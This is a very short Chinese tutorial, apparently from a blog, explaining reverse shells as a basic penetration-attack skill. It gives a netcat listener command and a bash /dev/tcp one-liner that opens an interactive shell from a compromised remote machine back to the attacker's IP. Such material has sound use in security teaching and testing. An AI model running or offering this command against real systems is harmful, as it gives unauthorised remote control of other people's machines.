【Reverse shell】也叫反弹shell,是渗透攻击的基本功,如果你找到机会让远端的机器执行你注入的代码,你的代码怎样才能为你生成一个可以交互操作的shell呢?

你可以在本地先用nc启动一个监听进程【nc -l 端口号】

然后在远端执行【bash -i >& /dev/tcp/你本地的IP/端口号 0>&1】即可。

Linux如何使用命令生成反弹SHELL  第1张